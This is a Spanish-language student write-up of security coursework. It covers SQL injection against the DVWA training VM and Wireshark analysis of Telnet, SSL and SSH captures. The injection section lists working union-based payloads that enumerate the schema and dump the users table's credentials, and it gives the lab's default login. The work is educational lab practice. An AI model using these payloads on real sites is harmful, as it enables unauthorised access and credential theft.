UNIDAD 2 TAREA 2: SQL injection

Usa la técnica SQL injection para obtener información relevante sobre la estructura de una base de datos.

Primero que nada debemos saber que necesitamos instalar un simulador de maquinas virtuales, en este caso utilizaremos el simulador Virtualbox. Lo puedes descargar el instalador desde la siguiente página web:

https://www.virtualbox.org/wiki/Downloads

Una vez instalado el simulador procederemos a descargar una maquina virtual que senos ofrece en el materia de la tarea

La máquina virtual (380MB) en formato 7-Zip lo podéis descargar a través del siguiente enlace:

https://mondragon.box.com/dvwa7z

Pasos para la configuración del adaptador de red (Host-only).

En el supuesto de que tengamos problemas para la configuración del adaptador de red en modo Host-only, estos son los pasos a seguir:

1.- Desde la pantalla de inicio de VirtualBox acceder a las preferencias

UD2T2

2.- Seleccionar la sección de Red

UD2T2

3.- Seleccionar la pestaña Host-only Networks

UD2T2

4.- Pulsar sobre el botón de añadir un nuevo adaptador

UD2T2

5.- El nuevo adaptador nos aparecerá en la ventana al cabo de unos pocos segundos

UD2T2

6.- Pulsar sobre el botón OK

UD2T2

Una vez descargada la máquina estos son los pasos a seguir son:

1. Descomprimir utilizando un software de compresión compatible con 7-Zip

2. Entrar en la carpeta en la que se ha descomprimido el 7-zip de la máquina. Allí encontraremos unos ficheros llamados dvwa-windows.vbox (puede que la extensión esté oculta, dependiendo de la configuración del explorador de ficheros) y dvwa-linux. vbox.

3. Hacemos doble clic sobre el fichero que corresponda al sistema operativo que estemos usando en nuestro ordenador (p. ej. si estamos usando Linux hacemos doble clic sobre el fichero dvwa-linux.vbox).

4. Al hacer doble clic se importará la máquina virtual en VirtualBox.

5. Seleccionamos con el ratón la máqina que se llama «dvwa» y pulsamos sobre el botón llamado «Iniciar»:

maquina

7. Una vez ejecutada la máquina, anota la dirección IP y mediante el navegador web accede a la dirección http://direccionIP/login.php

ip

ya en esta parte de la tarea procederemos a introducir los siguientes datos

usurname: admin

password: password

para poder entrar a la base de datos

pagahora debemos dar click en DVMA Security para bajar el nivel de seguridad para asi poder trabajar con los datos de la base

low

ahora daremos click en SQL Injection donde realizaremos diversas consultas a la base de datos

Basic Injection «1» esta nos muestra el id, nombre y apellido de un usuario

1

%’ or ‘0’=’0 esta nos muestra todos los registros ya sean falsos o verdaderos

2

%’ or 0=0 union select null, version() #  Esta nos muestra la version de la base de datos en el ultimo apellido

base

%’ or 0=0 union select null, user() #  Esta nos muestra el la ultima linea el usuario de la base de datos

user

%’ or 0=0 union select null, database() # En esta consulta nos devuelve en la ultima linea el nombre de la base de datos

based

%’ and 1=0 union select null, table_name from information_schema.tables #  Con esta consulta se nos muestra el esquema de las tablas de la base de datos

basee

%’ and 1=0 union select null, table_name from information_schema.tables where table_name like ‘user%’#   Ahora mostramos todas las tablas que tiene el prefijo «user»

users

%’ and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = ‘users’ #  En esta nos muestra a detalle las columnas de la tabla «users»

usersc

%’ and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #    En esta muestra todo el contenido de la tabla «users», es decir usuarios y contraseñas que aqui se encuentran almacenadas.

pass

TAREA 1: Capturando tráfico con Wireshark

Primera parte: Analizando un protocolo inseguro (Telnet)

En esta tarea no vamos a realizar capturas en vivo de tráfico, sino que vamos a analizar trazas (capturas) ya realizadas con anterioridad y salvadas en archivos. En este caso, vamos a usar la traza telnet-raw.pcap, del repositorio de capturas disponible en Wireshark.

Lo primero que haremos sera abrir el archivo descargado con el programa Wireshark enseguida en el area de «Filter» escribiremos «telnet» como se muestra en imagen 1 una vez hecho esto daremos click derecho sobre la primera trama u seleccionaremos «Follow TCP Stream» esta nos abrira una nueva pestaña como se muestra en la imagen 2 en esta ventana se nos presentaran diversas acciones realizadas entre el usuario y el servidor.

telnet

imagen 1: filtrado telnet

telnet_analizar

imagen 2: Follow TCP Stream

Como podemos observar en esta area se encuentra el nombre de usuario asi como contraseña y los comandos que fueron utilizados por el usuario y que el servidor repitio es por eso que algunas partes aparecen en rojo y azul de manera consecutiva que al parecer es el momento en el que el usuario interactua con el servidor en la imagen 3 se muestra el resto de lainformacion desplegada, asi que de esta manera ya podemos responder a las siguientes preguntas

continuacion_telnet

imagen 3: comandos

Qué usuario y contraseña se ha utilizado para acceder al servidor de Telnet?

usuario: fake, contraseña user

¿Qué sistema operativo corre en la máquina?

OpenBSD/i386

¿Qué comandos se ejecutan en esta sesión?

ls

ls -a

/sbin/ping http://www.yahoo.com

contol+C

exit

Segunda parte: analizando SSL

Para la realización de este ejercicio, descarga esta traza con tráfico SSL y abrela con Wireshark. SSL es un protocolo seguro que utilizan otros protocolos de aplicación como HTTP. Usa certificados digitales X.509 para asegurar la conexión.

En esta parte comenzaremos por descargar el archivo y abrirlo en Wireshark seleccionaremos uno de los paquetes dandole click derecho y seleccionando «Follow TCP Stream» esta nos abrira una nueva pestaña como se muestra en la imagen 4 y 5

ssl

imagen 4: archivo descargado

datos

imagen 5: Follow TCP Stream

¿Puedes identificar en qué paquete de la trama el servidor envía el certificado?

inicia en la paquete 2

¿El certificado va en claro o está cifrado? ¿Puedes ver, por ejemplo, qué autoridad ha emitido el certificado?

El certificado viene cifrado, RSA Data Security

¿Qué asegura el certificado, la identidad del servidor o del cliente?

Al servidor

Parte tres: Analixando con ssh

En la primera parte de este ejercicio hemos visto un protocolo no seguro, como Telnet. Una alternativa a usar Telnet a la hora de conectarnos a máquinas remotas es SSH, que realiza una negociación previa al intercambio de datos de usuario. A partir de esta negociación, el tráfico viaja cifrado. Descarga esta traza con tráfico SSH y abrela con Wireshark.

De manera similar a las anteriores 2 descargaremos el archivo y lo abriremos en Wireshark en el area de»Filter» escribiremos el filtro ssh como se muestra en la imagen 6 despues seleccionaremos ssh protocol.

ssh

imagen 6

¿Puedes ver a partir de qué paquete comienza el tráfico cifrado?

los paquetes cifrados comienzan desde los paquetes 4 y 6 de ahi comienzan desde el paquete 20

¿Qué protocolos viajan cifrados, todos (IP, TCP…) o alguno en particular?

SSH version 2

¿Es posible ver alguna información de usuario como contraseñas de acceso?

no, ya que  toda la informacion viene cifrada